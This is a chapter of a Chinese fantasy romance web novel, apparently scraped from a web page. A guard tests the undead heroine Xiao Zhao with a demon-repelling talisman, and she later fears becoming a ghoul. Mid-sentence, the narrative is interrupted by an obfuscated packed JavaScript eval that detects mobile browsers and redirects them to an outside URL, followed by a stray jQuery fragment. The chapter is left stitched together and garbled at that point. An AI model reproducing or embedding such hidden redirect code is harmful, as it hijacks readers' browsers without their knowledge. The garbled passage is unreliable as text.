李玉凰 作品

3. 肖想公子

京城显贵扎堆的黄金地段,陈王府静静矗立,朱墙金瓦在日光下熠熠生辉,大门巍峨气派不凡。


乐骁又听府里下人议论那个怪力少女,言语间还添了些香艳猜测,说女子有些姿色,怕是想攀附公子。


乐骁一听,顿时怒目圆睁。


大声呵斥:“都住嘴!敢编排公子,想被发卖了吗?”


他身为侍卫长,在府里颇有威严。


下人们被他一吼,顿时吓得噤若寒蝉,窃窃私语戛然而止。


乐骁想到公子如今还未娶妻,不知那妖女此刻是不是正在谋划勾引公子?


当下坐不住了,带着一众侍卫去找她。


此时,小昭正坐在院子里吃饭。


她弃了筷子,直接用手抓米,最后端起大海碗,大口扒饭,几乎把整张脸都埋进了饭碗里。


乐骁看到这一幕,沉默了,公子断不会看上如此粗鄙的村姑。


又一凛,莫不是这山中精怪施妖法,迷惑了公子?


小昭吃完放下碗,满足地喟叹一声:“呱呱,陈宴书说得果然没错,这席面菜色真丰盛,今日终于有了饱的感觉。”


呱呱瞅了眼她嘴角的油光,眼睛有点疼,闭上眼当看不到。


“啪!”


乐骁将驱妖符拍在她额间时,小昭正咽下第八个肉包。


小昭双眼看向眉心,伸手揭下。


身后“哗”的一声,她扭头一瞧。


嚯,什么时候围了这么多人?


侍卫们四散开,但还是警惕盯着她。


小昭看着手中朱砂黄纸符咒,是一张驱妖符。


她有些不高兴:“我不是妖怪。”


小昭嫌弃地把纸符丢到地上,又补了一句:“妖怪不爱吃凡人的食物,它们喜欢吃血淋淋的人心。”


乐骁撇嘴,妖怪都没你能吃。


这符是仙师府的仙师所画,向来灵验,既然符没反应,看来她确实不是妖怪,他这才放下心。


乐骁没耐心道:“快些跟我走,安排好你,我还有别的事要办。”


小昭不舍地看了眼蒸笼里的半笼包子,起身刚走两步,又突然顿住,问:“是公子让你用驱妖符试探我的吗?”


乐骁回道:“公子哪会管这种小事。”


小昭放了心。


乐骁又警惕起来:“你问公子干什么?难不成还真是肖想公子?”


小昭眨了眨眼,一脸懵懂:“肖想什么?什么是肖想?”


乐骁看着她油亮的嘴角,还是沉默了:“你把嘴擦干净了再说话。”


小昭伸手一摸嘴,沾了一手油。


乐骁想了想还是不放心,又叮嘱:“以后不许像方才那样对公子眨眼,也不许对公子笑。”


小昭一脸迷惑,为什么不让笑不让眨眼?她方才眨眼了吗?


乐骁没再理她,自顾自地讲王府规矩:“听到了吗,今后——”没人回应,“人呢?”


他回头一看,小昭站在回廊扶手上,正伸长脖子看花园里的腊梅,还一脸好奇:“这是什么花?冬天怎么会有花?”


“你到底有没有见识,这是腊梅,当然是冬天开了。还有,不可以站在回廊扶手上!”


乐骁又气又无奈,这姑娘长着一张淑女脸,怎么尽做些没规矩的事。


不过想到她在山野长大,只能把这些行为归咎于此。


小昭慢吞吞从扶手上下来,乐骁一路不满地数落着她。


两人走到院中,小昭突然停下,盯着半空枯枝发愣。


一条青色小虫吐丝垂落,她下意识抬手接住。


小虫在掌心拼命爬,想要逃走。


乐骁满脸怒气地回头:“又怎么了?”


“是虫子。”小昭好奇地摸了摸小虫,“是活的,软软的。”


她在说些什么废话?


乐骁想到她养蟾蜍当宠物,对她的爱好很无语,催促道:“快点!”


小昭小心翼翼地控制着手指的力道,轻轻捻起虫子,放在冬青叶子上。


……


“这是内院大门,既然公子大发慈悲收留你,就按你说的,当护卫保护公子吧。”


乐骁一个转身,紧盯她道:


“你就在这道门前执勤,不可随意走动,更不可到公子面前张扬。”


“你万一碰到公子,必须立刻低下头,绝对不能抬头看,别让公子瞧见你的脸。”


“把不该有的心思都给我收起来!”


“心思?什么心思?”小昭正满心欢喜地看手中刚捡的腊梅,听到这话,心中一惊。


难不成他察觉到自己的目的了?


她的眼神慌乱起来,下意识地攥紧手中的腊梅。


乐骁将她的反应尽收眼底,见她眼神闪躲,心中更加笃定自己的猜想,冷笑一声。


小昭见他如此,更是坚信自己的目的暴露了。


她心里惴惴不安,执勤都一直低着头,像只鸵鸟,生怕被人看穿心思。


王府侍卫众多,小昭不担心陈宴书的安全,正好趁这段时间熟悉环境,悄悄练习控制身体的力量。


不执勤的时候,她就在王府的角落里,对着空气挥拳,或是小心翼翼地在房檐上练习跳跃,努力掌握这具身体。


……


夜幕如墨,小昭躺在床上,意识飘向很远的地方。


穿过看不见的结界,越过无边无际的界海,翻过高耸入云的界碑……


摇曳的火光映照着黑雾。


少年一头如瀑乌发,仿如丝绸柔滑,垂至脚踝。


一道道黑色咒文,毒蛇般缠绕少年赤裸的上身。


咒文之下,鲜血不断流淌出来,垂落在地的九条狐尾浸在血水里。


少年缓缓抬头,苍白的脸上五官轮廓鲜明。


他像是吞咽了什么,血水顺着唇角流下来,喉结滚动。


他突然低笑一声,眼角上挑,幽冷睥睨的目光穿透了厚重的云层。


身上腾起黑色火焰,狠狠压制住蠕动的咒文,狂妄嘲讽:


“以为这血咒能困住我?天界的杂碎们!”


小昭猛地惊醒,冷汗浸湿衣衫,右小臂伤痕隐隐作痛。


她捂住脑袋,却怎么也记不起梦的内容,只觉得头疼。


小昭平复下来后,摇醒一旁酣睡的呱呱:“呱呱,我刚才又做梦了。”


呱呱睡眼惺忪,失神地望向她。


小昭有些兴奋:“我能睡着,也会做梦,我是不是真的活过来了?”


“你已经死了。”呱呱带着起床气,没好气道。


“可是……我又饿了,特别饿。”小昭结结巴巴地开口,“而且我也能感到疼痛和冷暖。”


“你摸摸心口,有心跳吗?”呱呱一跳一蹦到她跟前,深睇着她。


小昭咬着唇,颤抖着手移向心口。


一片死寂,没有丝毫跳动迹象。


她沮丧地低下头:“那我现在算什么?僵尸?精怪?”


没有心跳,也不需要像活人那样呼吸。


“总、总不能……”小昭双手不


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228452|165910||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


自觉地绞在一起,“不能……”


她犹豫再三,终于还是说了出来:“总不能是……噬灵鬼吧?”


腐骨栈道失去意识的魂魄互相吞噬,最终变成噬灵鬼。


可它们没有肉身,自己和它们不一样。


“只有神魂破损的妖魔、堕仙才会不慎陷入六界八荒之外的腐骨栈道。你一介凡人肉身,怎么也被困在那,我实在想不通。”


呱呱皱着眉,满脸疑惑。


“你确定凡人不会被困在腐骨栈道?”小昭努力回忆,“我在那里见过其他凡人。”


“会不会是你看错了?”呱呱惊讶道,“除了你,还能有别的例外?”


说起小昭这个例外,呱呱不住地感叹:“按理说你的肉身早该在腐骨栈道消散,但大抵是运气好遇到了什么天地灵宝,肉身脱离腐骨栈道,被冰封保存,才被仙人选中。”


呱呱不忍,但还是狠下心说出口:“但离体太久,魂魄和肉身无法完全融合,长此以往,就算魂魄不变噬灵鬼,你的肉身也会变成僵尸。”


她如今不过是附着在肉身上的孤魂野鬼,介于噬灵鬼和僵尸之间罢了。


小昭有些手足无措:“我不想当噬灵鬼、也不当僵尸,我是人、是人……”


呱呱安慰道:“天界不便干预人间之事,你这非生非死之态,脱离天道管辖,只有你才能完成仙人的神旨,等到那时便可获得新生和修炼秘法,有朝一日飞升成仙。”


小昭双手不自觉紧绞着。


她实在是记不得自己是如何死的,更不记得如何去的腐骨栈道。


小昭的记忆只有在腐骨栈道行尸走肉般的三百年,连名字都不记得。


因为她右小臂刻着一个“昭”字,她才给自己取名小昭。


小昭躺下,翻了个身。


看着月光洒在自己光洁的手和腿上。


当呱呱将她的身体第一次呈现在她面前时,她是极欣喜的。


这是她自己的身体。


小昭万分珍惜自己的身体,有些发愁:“可是我总是饿,会不会把自己饿坏了……”


呱呱叹了口气,“多晒晒月亮吧。”


若真成了僵尸或是噬灵鬼,血肉和魂魄才是食物,日月精华根本无法满足。


……


半个多月过去了,小昭对乐骁的话一直忐忑不安,每日老老实实执勤,也不乱跑。


身体也控制得越来越灵活,能跑能跳。


这天,护卫小队长下令:“公子要去围猎,会在京郊小住一段时日,所有人都跟上!”


小昭一路安安分分,跟着马队到了京郊猎场。


贵人们狩猎回来,开始分发猎物。


小队长安排小昭所在队列给贵人们卸甲。


小昭眼观鼻鼻观心地低着头,连五感都封住,当自己是个木偶,生怕引起陈宴书的注意。


她低着头走到一位贵人身后,开始卸甲。


将他背后扣结解开了,她又绕到这人的前面。


抬起头,准备卸头盔。


然后小昭不可避免地看到冷峻的下颌骨,微薄且颜色极淡的唇,很是熟悉。


“是陈宴书。”呱呱在帘子后传音。


小昭刚想低头藏起来,却瞥见他嘴角有一丝血迹,映得唇色更淡。


“受伤了?谁要杀他?”她心中警铃大作,抬手就去擦拭。


她指尖碰触到陈宴书的唇,沾到血迹的瞬间,面前的男人猛地向后一仰。


她抬眼,对上一双满是错愕的眼。